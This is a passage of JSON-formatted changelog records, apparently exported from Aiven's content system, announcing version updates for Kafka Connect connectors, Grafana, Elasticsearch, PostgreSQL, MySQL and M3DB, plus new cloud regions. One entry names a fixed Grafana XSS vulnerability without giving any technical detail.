"},{"_key":"5016de6b-e9a0-419c-975c-3e7beecc26b1","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"d8316f74-ac38-4f29-8396-f0f16887417c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9312210797654","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.4.1"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-06-25T00:00:00.000Z","tags":[{"_key":"e2e99c5b-9f36-4449-8e4f-3c6bea030671","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.4.1"} {"_createdAt":"2022-10-27T09:04:09Z","_i18n_lang":"en","_id":"2f0b1bd6-d676-4285-924f-10a52b980217","_rev":"rHrbN7cdfRjM6CvZf3JFhY","_type":"changelog","_updatedAt":"2022-10-27T09:04:09Z","changeType":"","publishedAt":"2021-06-04T00:00:00.000Z","tags":[{"_key":"0fb38082-2024-43f6-8988-ddcb8b44f153","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL now supports configuring internal_tmp_mem_storage_engine"} {"_createdAt":"2022-10-27T09:02:50Z","_i18n_lang":"en","_id":"2fa0b053-f7fe-4a56-be6e-b2fc1786064b","_rev":"MEha5B96IszmAjyiiUpCkK","_type":"changelog","_updatedAt":"2022-10-27T09:02:50Z","changeType":"","description":[{"_key":"b7c92f9c-be0b-4850-9208-01b7144f9bea","_type":"block","children":[{"_key":"a0595a1e-0d34-4aba-9003-531b88a1e8e4","_type":"span","marks":[],"text":"Please see the "},{"_key":"84eb09e3-3d0b-424d-894f-9d2cc48fc37f","_type":"span","marks":["m947890783609"],"text":"release notes"}],"markDefs":[{"_key":"m947890783609","_type":"link","href":"https://github.com/aiven/http-connector-for-apache-kafka/releases/tag/v0.5.0"}],"style":"normal"}],"publishedAt":"2022-03-17T00:00:00.000Z","tags":[{"_key":"4aa7ae8c-3068-42a9-8c6c-66778af8d7ea","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink HTTP connector has been updated to version 0.5.0"} {"_createdAt":"2022-10-27T09:06:36Z","_i18n_lang":"en","_id":"2fa67456-5547-4659-bac9-fe4ba26ff31c","_rev":"LZdZtpADiowz8bkvB6nbYv","_type":"changelog","_updatedAt":"2022-10-27T09:06:36Z","changeType":"","description":[{"_key":"bf6bb4ac-3b62-42f9-9cc2-be092ce9b0f2","_type":"block","children":[{"_key":"7b582fed-ddda-405d-a005-77a49c22a9bb","_type":"span","marks":[],"text":"Please see the "},{"_key":"9ca8bbaf-e60a-4633-8855-84592d64d073","_type":"span","marks":["m592580122422"],"text":"release notes"},{"_key":"6dd5a32a-e4b0-45f6-b00f-3b3a4a2cd78f","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m592580122422","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-7-x/27119"}],"style":"normal"}],"publishedAt":"2020-06-05T00:00:00.000Z","tags":[{"_key":"06882a0e-51ca-46d3-a3dd-6cf820888f0f","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.7.4"} {"_createdAt":"2022-10-27T09:04:06Z","_i18n_lang":"en","_id":"2fcdc425-fd93-4c1a-8f2d-71960856912d","_rev":"GNtcCQgxf3P3DqpLt1io1N","_type":"changelog","_updatedAt":"2022-10-27T09:04:06Z","changeType":"","description":[{"_key":"271e4c94-0389-4648-978c-44f6725203b0","_type":"block","children":[{"_key":"a37a31a2-4201-4127-af41-1204e14d7e82","_type":"span","marks":[],"text":"See the "},{"_key":"abd6be99-28a5-4fde-8a0a-9b8b69bc6719","_type":"span","marks":["m17398078620417"],"text":"product page"},{"_key":"57d06179-8af2-4be5-8f10-82f8dee1e055","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"m17398078620417","_type":"link","href":"https://aiven.io/redis"}],"style":"normal"}],"publishedAt":"2021-06-09T00:00:00.000Z","tags":[{"_key":"77f0e154-22b2-44ea-9d44-b6cc21538b28","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"New premium plans are now available for Redis"} {"_createdAt":"2022-10-27T09:09:12Z","_i18n_lang":"en","_id":"30840472-2a75-44d4-93a3-1fca353555fc","_rev":"ncjVtEY290Sap8rHbFwinv","_type":"changelog","_updatedAt":"2022-10-27T09:09:12Z","changeType":"","description":[{"_key":"c31161b1-ad7e-47e6-92ed-094a7e9442d6","_type":"block","children":[{"_key":"1755d841-7f8d-49e6-b820-3b6ce9cca6b9","_type":"span","marks":[],"text":"See "},{"_key":"a55e30d4-afb8-437b-9016-bbb2bf1a7a57","_type":"span","marks":["m15541739950201"],"text":"this help article"},{"_key":"baeb1012-ac3f-454a-8f0f-2096f7778b79","_type":"span","marks":[],"text":" for more details. Existing services may need to install an optional maintenance upgrade to make the functionality available."}],"markDefs":[{"_key":"m15541739950201","_type":"link","href":"https://help.aiven.io/elasticsearch/set-index-retention-count-based-on-name-patterns"}],"style":"normal"}],"publishedAt":"2018-12-04T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch now supports choosing max number of indices to keep based on glob style naming patterns"} {"_createdAt":"2022-10-27T09:04:35Z","_i18n_lang":"en","_id":"3169c8b7-8fdb-4fa9-bb2a-2813b9663b31","_rev":"WYf15BwQWb3V4yHfbxO4rr","_type":"changelog","_updatedAt":"2022-10-27T09:04:35Z","changeType":"","description":[{"_key":"3c0b4de6-3bac-42d7-a9c4-4b029c8bd148","_type":"block","children":[{"_key":"6fd245ea-3889-4860-8625-7e04d0f2b37a","_type":"span","marks":[],"text":"Please see the "},{"_key":"a949a8b5-9f6d-4916-a626-78e02d6ef63a","_type":"span","marks":["m11991736430936"],"text":"release notes"},{"_key":"99bc87b1-7f99-4ba7-ab34-5836b6945eaf","_type":"span","marks":[],"text":" and the "},{"_key":"88ba7fa6-4821-4693-acd3-d449aa56ca9a","_type":"span","marks":["m9254341517399"],"text":"documentation"},{"_key":"0dcf7457-f1b8-4ed3-90de-fcd3b480ff4f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11991736430936","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/releases/tag/v0.4.0"},{"_key":"m9254341517399","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/blob/v0.4.0/docs/sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2021-04-23T00:00:00.000Z","tags":[{"_key":"f9711b63-95e9-41b9-a2d3-cfe6902bf8c5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink HTTP connector have been updated to version 0.4.0"} {"_createdAt":"2022-10-27T09:05:07Z","_i18n_lang":"en","_id":"31e4b815-bfac-4417-bebc-a77865f2e795","_rev":"RS2LhK1JP0SKK0JvX1Q2x1","_type":"changelog","_updatedAt":"2022-10-27T09:05:07Z","changeType":"","description":[{"_key":"ab3162e8-8a5f-43be-9237-fe7115a83c02","_type":"block","children":[{"_key":"ea673836-f7ae-4da5-b5fd-189eeecf6f2c","_type":"span","marks":[],"text":"Please see "},{"_key":"a73ddad6-039c-40c7-809f-7582c40b9b75","_type":"span","marks":["m11374718582056"],"text":"the documentation"},{"_key":"908ba5c8-72c2-4fd6-807e-7e06a60a9227","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11374718582056","_type":"link","href":"https://github.com/splunk/kafka-connect-splunk/tree/v2.0.2"}],"style":"normal"}],"publishedAt":"2021-02-09T00:00:00.000Z","tags":[{"_key":"06cfa4b6-de23-4f08-8ba7-a82157dd8e93","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Splunk Kafka Connect Connector has been updated to version 2.0.2"} {"_createdAt":"2022-10-27T09:11:37Z","_i18n_lang":"en","_id":"325c3bff-723b-4ef6-ba12-74a6174b9cf6","_rev":"GNtcCQgxf3P3DqpLt1kQaT","_type":"changelog","_updatedAt":"2022-10-27T09:11:37Z","changeType":"","description":[{"_key":"75dc0b30-6f96-4dac-8226-66eed6727c1f","_type":"block","children":[{"_key":"152546db-31f8-40f1-95bb-ecc037b3e142","_type":"span","marks":[],"text":"To see what's new see the Grafana "},{"_key":"538dde34-1c80-4b58-92e3-061f72eff687","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"7424299d-6a24-4938-8208-62c67bc78573","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-07-11T00:00:00.000Z","tags":[{"_key":"7aff2c26-a73a-48b2-ad42-2e6a406381e3","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated to version 4.4.1, also update all Grafana plugins to latest versions"} {"_createdAt":"2022-10-27T09:03:07Z","_i18n_lang":"en","_id":"339c6f94-af0c-461c-999d-5f2853389254","_rev":"zF7BMhNhvYpWtPMfHNMbJm","_type":"changelog","_updatedAt":"2022-10-27T09:03:07Z","changeType":"","description":[{"_key":"586c68ad-85a3-4fa1-a386-3c208a9954d6","_type":"block","children":[{"_key":"724f7f25-1689-4b1d-bcfb-403cc19cb8a3","_type":"span","marks":[],"text":"Please see "},{"_key":"55d3dcf2-16e0-4b87-ba36-25d9a8aac44b","_type":"span","marks":["m1428719923381"],"text":"the release notes"},{"_key":"c904bd34-869a-4a70-b2ce-4b471bb0a1c6","_type":"span","marks":[],"text":" and "},{"_key":"3dd7bfbf-6200-40f5-beea-a04b339c6566","_type":"span","marks":["m6357805193267"],"text":"the documentation"},{"_key":"4c336077-cfd0-4877-9ab1-a5dda87decc7","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1428719923381","_type":"link","href":"https://docs.lenses.io/4.3/integrations/connectors/sr-release-notes/"},{"_key":"m6357805193267","_type":"link","href":"https://docs.lenses.io/4.3/integrations/connectors/stream-reactor/"}],"style":"normal"}],"publishedAt":"2022-01-11T00:00:00.000Z","tags":[{"_key":"04f13b0b-583f-46fe-9329-997a1a36c9eb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Stream Reactor Kafka Connect connectors have been updated to version 3.0.1"} {"_createdAt":"2022-10-27T09:07:17Z","_i18n_lang":"en","_id":"342abf46-cd1b-4366-bd68-2eb13b596b4b","_rev":"chYcdg0OBeHzQFNhare8Oq","_type":"changelog","_updatedAt":"2022-10-27T09:07:17Z","changeType":"","description":[{"_key":"a2c88291-efdf-4c4d-b024-8b48ba450f13","_type":"block","children":[{"_key":"affee1db-5603-4318-88c5-dd0fdcee3247","_type":"span","marks":[],"text":"Please see the "},{"_key":"24e68d85-5d18-47ef-9115-e64e2c991f23","_type":"span","marks":["m15328492227501"],"text":"Release Notes"},{"_key":"398ff79f-6769-4a08-adf4-082c9ddb6e66","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m15328492227501","_type":"link","href":"https://debezium.io/releases/1.0/release-notes/"}],"style":"normal"}],"publishedAt":"2019-12-31T00:00:00.000Z","tags":[{"_key":"49d2bd8e-774e-44f5-aa0f-40e91550a556","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.0.0.Final is now available"} {"_createdAt":"2022-10-27T09:06:59Z","_i18n_lang":"en","_id":"342db4cd-d20f-4808-8b82-95b13af80920","_rev":"tsRucK8MIVb3810duaE42W","_type":"changelog","_updatedAt":"2022-10-27T09:06:59Z","changeType":"","description":[{"_key":"c4cfbbac-abba-40a7-82c9-2568c1ce85f1","_type":"block","children":[{"_key":"d64a96d0-63d7-4d4f-85e1-ad10cd36f0ad","_type":"span","marks":[],"text":"Please see the "},{"_key":"1f2e81ab-e97b-4962-a37e-9463a3c1767a","_type":"span","marks":["m8628744772082"],"text":"release notes"},{"_key":"946c635c-6155-4514-9b1c-635061f55d39","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m8628744772082","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-6-x/24924"}],"style":"normal"}],"publishedAt":"2020-03-04T00:00:00.000Z","tags":[{"_key":"cfd14a6e-7bb9-4e91-b986-414cc258d0a0","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.6.2"} {"_createdAt":"2022-10-27T09:05:00Z","_i18n_lang":"en","_id":"3457bb8f-7f03-49c7-bf38-799745fe53e2","_rev":"7JYD5XroFCjaK9NJzk3nKM","_type":"changelog","_updatedAt":"2022-10-27T09:05:00Z","changeType":"","description":[{"_key":"da99b64a-2a42-415b-9c46-c59fb73c7827","_type":"block","children":[{"_key":"4765c822-7e80-454a-b50d-bbdd0e167baf","_type":"span","marks":[],"text":"Read the "},{"_key":"49307c61-ea2e-4dc7-8ddf-754f89d36ab2","_type":"span","marks":["m17548526050850"],"text":"Getting started"},{"_key":"93271757-2ab9-4edc-941b-e6f58011168a","_type":"span","marks":[],"text":" guide for more info."}],"markDefs":[{"_key":"m17548526050850","_type":"link","href":"https://help.aiven.io/en/articles/4683032-getting-started-with-aiven-for-m3"}],"style":"normal"}],"publishedAt":"2021-02-18T00:00:00.000Z","tags":[{"_key":"ebe2e9d9-8649-43bb-abd7-5a283c9a6bc0","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"service"}],"title":"Aiven for M3, a fully managed, horizontally scalable and highly available time-series database now available on Aiven platform"} {"_createdAt":"2022-10-27T09:04:50Z","_i18n_lang":"en","_id":"34b1b491-cbce-4a4d-913e-7104598fbe1f","_rev":"KIlpVp44L6B7auDNL66pma","_type":"changelog","_updatedAt":"2022-10-27T09:04:50Z","changeType":"","description":[{"_key":"6688a2a7-fcbd-41b1-a199-6d6d6c925dd6","_type":"block","children":[{"_key":"694874c4-cff2-4343-9594-05e12c6f91dd","_type":"span","marks":[],"text":"Please see the "},{"_key":"2aea9be7-071a-45fd-b8e1-e22e228b0884","_type":"span","marks":["m6673455734503"],"text":"release notes"},{"_key":"29d1a96d-5d71-4746-b776-fb05b70908de","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m6673455734503","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v7-4/"}],"style":"normal"}],"publishedAt":"2021-03-10T00:00:00.000Z","tags":[{"_key":"194894f6-00f1-4337-bb42-29c4c50bb02a","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 7.4.3"} {"_createdAt":"2022-10-27T09:02:16Z","_i18n_lang":"en","_id":"34d76b01-ef0d-49d6-85ae-538304256f53","_rev":"jxjwnOsJAgDXPDj4qmbzJY","_type":"changelog","_updatedAt":"2022-10-27T09:02:16Z","changeType":"","publishedAt":"2022-07-25T00:00:00.000Z","tags":[{"_key":"cf2b9cfe-c089-4ea0-8052-3e4ad3369d62","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.4.10"} {"_createdAt":"2022-10-27T09:10:21Z","_i18n_lang":"en","_id":"3561b949-4e0a-4f1d-8bb2-7a61fd050393","_rev":"RS2LhK1JP0SKK0JvX1RLM1","_type":"changelog","_updatedAt":"2022-10-27T09:10:21Z","changeType":"","description":[{"_key":"adb5156d-35c7-4552-87a4-93f57d222b11","_type":"block","children":[{"_key":"e89be859-c5e7-4f8d-89d1-88546a603c30","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"91511cae-e1e7-4894-a21c-5a4c33be67b2","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"18f3ec53-54b3-40d3-86e9-43fe3276ed25","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-04-04T00:00:00.000Z","tags":[{"_key":"95c5bcdb-7710-4423-8759-6d0c5d0cae56","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.0.4 and updated all available plugins to the latest versions"} {"_createdAt":"2022-10-27T09:04:05Z","_i18n_lang":"en","_id":"358fae4b-c6ac-4253-bf40-07dfc7138d2c","_rev":"P6Du4FUPx13pONAPQIGLbv","_type":"changelog","_updatedAt":"2022-10-27T09:04:05Z","changeType":"","publishedAt":"2021-06-10T00:00:00.000Z","tags":[{"_key":"4cdb4f0a-c00f-4841-a2f9-1ea6b9f9e119","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's rum extension has been updated to version 1.3.8."} {"_createdAt":"2022-10-27T09:07:03Z","_i18n_lang":"en","_id":"362c7652-d4de-49e1-8a00-76266bb87f78","_rev":"tsRucK8MIVb3810duaE4AW","_type":"changelog","_updatedAt":"2022-10-27T09:07:03Z","changeType":"","description":[{"_key":"d1d817ef-db0b-47e3-a2d7-9b273a571379","_type":"block","children":[{"_key":"c1277651-6d29-4454-8a34-74b4f40f3ec4","_type":"span","marks":[],"text":"Please see "},{"_key":"e04d2fe9-7720-4d10-98bb-88297979e55d","_type":"span","marks":["m6022754399761"],"text":"the changelog"},{"_key":"9412bf68-0f39-468b-99ce-f2df51e72c48","_type":"span","marks":[],"text":" and "},{"_key":"9eb5e864-f2bf-449b-b246-7a44723f49b6","_type":"span","marks":["m7098015741234"],"text":"the documentation"},{"_key":"b4e3bcba-f236-4257-87d4-df672df83bc2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6022754399761","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.2.0"},{"_key":"m7098015741234","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs"}],"style":"normal"}],"publishedAt":"2020-02-24T00:00:00.000Z","tags":[{"_key":"fdddec65-846d-45d6-a7ef-85eb6bdf2fa4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect GCS sink connector by Aiven has been updated to version 0.2.0"} {"__i18n_lang":"en","_createdAt":"2023-02-07T16:51:13Z","_id":"3641e2be-8d72-4ec8-b6db-6763508ed287","_rev":"qBG5W2UzMHRLoCg3nAJIsd","_type":"changelog","_updatedAt":"2023-02-09T07:21:38Z","changeType":"improved","description":[{"_key":"2fd6c9ad7018","_type":"block","children":[{"_key":"2afa2b1d76710","_type":"span","marks":[],"text":"The end-of-life for Aiven for M3DB service versions 1.1 and 1.2 has been announced. As of 01/09/2023, these versions will no longer be supported. To maintain uninterrupted service, upgrade your Aiven for M3DB to version 1.5. Upgrade options are available through both the "},{"_key":"27240de70c41","_type":"span","marks":["de84a810b5c7"],"text":"Aiven APIs"},{"_key":"74290e3008bd","_type":"span","marks":[],"text":" and the "},{"_key":"ef57a4cc9a5f","_type":"span","marks":["5052378c1089"],"text":"Aiven console"},{"_key":"eb645cd7b0da","_type":"span","marks":[],"text":" interface. For more details, refer to "},{"_key":"144db7b7242e","_type":"span","marks":["8adb0094e435"],"text":"Aiven for M3DB"},{"_key":"4c6e74672677","_type":"span","marks":[],"text":" documentation."}],"markDefs":[{"_key":"8adb0094e435","_type":"link","href":"https://docs.aiven.io/docs/products/m3db"},{"_key":"5052378c1089","_type":"link","href":"https://console.aiven.io/"},{"_key":"de84a810b5c7","_type":"link","href":"https://api.aiven.io/doc/"}],"style":"normal"}],"publishedAt":"2023-02-09T16:51:00.000Z","tags":[{"_key":"0d7d78a30a34","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"service"}],"title":"End-of-life for Aiven for M3DB service versions 1.1 and 1.2"} {"_createdAt":"2022-10-27T09:09:49Z","_i18n_lang":"en","_id":"36d9e173-0cd3-4432-b629-ec1a23e42fe1","_rev":"WYf15BwQWb3V4yHfbxPS7P","_type":"changelog","_updatedAt":"2022-10-27T09:09:49Z","changeType":"","publishedAt":"2018-08-29T00:00:00.000Z","tags":[],"title":"Aiven Console has been updated with a new theme along with various usability improvements."} {"_createdAt":"2022-10-27T09:03:00Z","_i18n_lang":"en","_id":"370cbb30-2929-43b0-a241-fdda7a862558","_rev":"MEha5B96IszmAjyiiUpDCa","_type":"changelog","_updatedAt":"2022-10-27T09:03:00Z","changeType":"","description":[{"_key":"2ae0714a-9073-46e9-81d9-5b81dbdc351d","_type":"block","children":[{"_key":"291fb4bd-53de-42fc-9860-94c900db1296","_type":"span","marks":[],"text":"Please see the "},{"_key":"dfbf2656-5a54-4f26-ab34-cc57e3466d5d","_type":"span","marks":["m15506165641732"],"text":"release notes"},{"_key":"4fad764e-2414-4d35-b496-ab65905b4833","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15506165641732","_type":"link","href":"https://downloads.apache.org/kafka/3.1.0/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2022-02-14T00:00:00.000Z","tags":[{"_key":"ca7ad336-60fc-40e1-a5ed-4e84bfb6bd47","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 3.1.0 is now available on Aiven"} {"_createdAt":"2022-10-27T09:08:31Z","_i18n_lang":"en","_id":"379681ba-9e0d-41dd-a970-a401fd7d42d7","_rev":"tsRucK8MIVb3810duaE5eW","_type":"changelog","_updatedAt":"2022-10-27T09:08:31Z","changeType":"","description":[{"_key":"b55d6c44-fcbf-47b4-a51c-8e29aa65bdd6","_type":"block","children":[{"_key":"0127bedd-036a-4ac4-92ad-888a44662858","_type":"span","marks":[],"text":"See "},{"_key":"a3c77f23-aef5-4708-aa93-6fd6d7cd03c2","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"6983c957-f048-4afa-a999-66df3a686ecc","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2019-05-09T00:00:00.000Z","tags":[{"_key":"d922f08e-a747-41c5-9523-b62192c79847","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 11.3, 10.8, 9.6.13 and 9.5.17"} {"_createdAt":"2022-10-27T09:02:33Z","_i18n_lang":"en","_id":"37b942ed-54ab-4a47-844b-f5afb3c78146","_rev":"KIlpVp44L6B7auDNL65sDw","_type":"changelog","_updatedAt":"2022-10-27T09:02:33Z","changeType":"","description":[{"_key":"ba381bf3-3198-477d-82fb-f17131e4a614","_type":"block","children":[{"_key":"66f817f8-e3ac-4b28-a1aa-cdefb870397c","_type":"span","marks":[],"text":"Please see the "},{"_key":"e5647ffe-276c-49ae-b016-1c8e3464cd0c","_type":"span","marks":["m11394479839241"],"text":"release notes"},{"_key":"46550230-d4c0-49c9-9d6f-27f75fad2943","_type":"span","marks":[],"text":" and "},{"_key":"485d1ddc-39f5-453e-96f6-d0f6e25670d5","_type":"span","marks":["m108393873996"],"text":"the documentation"},{"_key":"81a90fef-c5ad-4521-b767-ab53d00a925b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11394479839241","_type":"link","href":"https://github.com/aiven/elasticsearch-connector-for-apache-kafka/releases/tag/v6.1.1"},{"_key":"m108393873996","_type":"link","href":"https://docs.confluent.io/current/connect/kafka-connect-elasticsearch/index.html"}],"style":"normal"}],"publishedAt":"2022-05-29T00:00:00.000Z","tags":[{"_key":"1a5aeefa-9833-47b2-9cf9-00e7b9322d72","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka Connect sink connector for Elasticsearch has been updated to version 6.1.1"} {"_createdAt":"2022-10-27T09:09:33Z","_i18n_lang":"en","_id":"37e33a48-708d-40eb-903d-48ca8998d0f1","_rev":"ncjVtEY290Sap8rHbFwjIG","_type":"changelog","_updatedAt":"2022-10-27T09:09:33Z","changeType":"","description":[{"_key":"39c4a547-9ac5-40e2-992a-1cb0bcf88814","_type":"block","children":[{"_key":"cfaaded1-0829-495f-a294-77b09d982c21","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"bf41d54e-5774-4df4-877d-a6cdab46344e","_type":"span","marks":["m2549440441717"],"text":"Elasticsearch 6.4.2"},{"_key":"cbe97757-8baf-454e-8a3b-ece5387254b4","_type":"span","marks":[],"text":", "},{"_key":"31e206e4-e06c-4cd2-a2c1-6c572df55b1d","_type":"span","marks":["m8122360727714"],"text":"5.6.11"},{"_key":"7867dd8b-c741-4055-bf10-a31494969268","_type":"span","marks":[],"text":" and "},{"_key":"b97c9e71-0f4e-4c83-849e-05c4ba4d115f","_type":"span","marks":["m13313933559105"],"text":"5.6.12"},{"_key":"e606315d-6ef5-4440-978f-0b7e21ecff38","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m2549440441717","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.4.2.html"},{"_key":"m8122360727714","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/5.6/release-notes-5.6.11.html"},{"_key":"m13313933559105","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/5.6/release-notes-5.6.12.html"}],"style":"normal"}],"publishedAt":"2018-10-18T00:00:00.000Z","tags":[],"title":"Updated Elasticsearch to newest versions: 6.4.2 and 5.6.12"} {"_createdAt":"2022-10-27T09:03:51Z","_i18n_lang":"en","_id":"384516b5-9db9-48a6-bf84-2a66fa6a19ba","_rev":"KIlpVp44L6B7auDNL66IAC","_type":"changelog","_updatedAt":"2022-10-27T09:03:51Z","changeType":"","description":[{"_key":"24051a02-21e9-4dab-bafd-16674bfcd900","_type":"block","children":[{"_key":"56637483-678e-40f7-99ce-46556b43d6ce","_type":"span","marks":[],"text":"All Aiven services are now available in the "},{"_key":"9c2a3a8e-f0fe-4e29-8c8f-3bf210b10d95","_type":"span","marks":["code"],"text":"asia-south2"},{"_key":"bfd7baa7-de5a-48c4-9a1c-f5f13d1f862c","_type":"span","marks":[],"text":" and "},{"_key":"711bd940-4681-478d-a64d-9dd1acce351d","_type":"span","marks":["code"],"text":"australia-southeast2"},{"_key":"584947f0-f5fd-490d-9cf7-31ab07bdad08","_type":"span","marks":[],"text":" regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-07-30T00:00:00.000Z","tags":[{"_key":"a3e736e3-a768-4228-acdb-3227bbdf1422","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Delhi and Melbourne regions"} {"__i18n_lang":"en","_createdAt":"2023-01-31T10:40:09Z","_id":"3858b70c-6605-4d6b-817e-9a6f7400afd5","_rev":"pnOvEyahjeT2Gte9fh3hwB","_type":"changelog","_updatedAt":"2023-02-01T09:45:07Z","changeType":"security","description":[{"_key":"d0dadb357eab","_type":"block","children":[{"_key":"8e43257afd820","_type":"span","marks":[],"text":"Aiven for Grafana version 9.3.4 is now available. Along with minor version updates, this version also includes the fix for the security vulnerability CVE-2022-23552, a Stored XSS issue affecting the core Geomap and Canvas plugins. To learn more, see "},{"_key":"8e43257afd821","_type":"span","marks":["b408aa198024"],"text":"Grafana changelog"},{"_key":"8e43257afd822","_type":"span","marks":[],"text":", and "},{"_key":"8e43257afd823","_type":"span","marks":["3dfd96b3ea73"],"text":"Aiven for Grafana"},{"_key":"8e43257afd824","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"b408aa198024","_type":"link","href":"https://github.com/grafana/grafana/blob/main/CHANGELOG.md"},{"_key":"3dfd96b3ea73","_type":"link","href":"https://docs.aiven.io/docs/products/grafana.html"}],"style":"normal"}],"publishedAt":"2023-01-27T10:39:00.000Z","tags":[{"_key":"1c960e5234ff","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 9.3.4 is now available."} {"_createdAt":"2022-10-27T09:08:50Z","_i18n_lang":"en","_id":"39597424-3429-42b5-87d1-62899392b0e5","_rev":"ncjVtEY290Sap8rHbFwiML","_type":"changelog","_updatedAt":"2022-10-27T09:08:50Z","changeType":"","description":[{"_key":"efa26773-4016-44fa-a3e5-688b024d24c6","_type":"block","children":[{"_key":"8b8c0899-f4f0-4fb6-896c-d7f4d6577ae6","_type":"span","marks":[],"text":"You can start new MySQL services from the Aiven web console the same way as any other services. The Aiven for MySQL service supports all the same features as Aiven for PostgreSQL service except for connection pooling."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-03-19T00:00:00.000Z","tags":[{"_key":"2e764d08-bd7c-424e-9633-43cf6f4abad4","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL 8.0.15 preview is now available"} {"_createdAt":"2022-10-27T09:02:27Z","_i18n_lang":"en","_id":"39f8a73f-7ebc-4a30-b0ab-f496a5e29896","_rev":"P6Du4FUPx13pONAPQIFy7x","_type":"changelog","_updatedAt":"2022-10-27T09:02:27Z","changeType":"","description":[{"_key":"7df0a610-2276-4577-9d10-c4891411896e","_type":"block","children":[{"_key":"59490fee-ed5d-4002-8a36-c2519ea89001","_type":"span","marks":[],"text":"Please see the "},{"_key":"a68356b3-9ca5-4d9d-9df2-ac4d482ccff6","_type":"span","marks":["m11062724829463"],"text":"Changelog"},{"_key":"ce1d8d08-8119-4372-9845-c7468fa84368","_type":"span","marks":[],"text":" for what's new in this 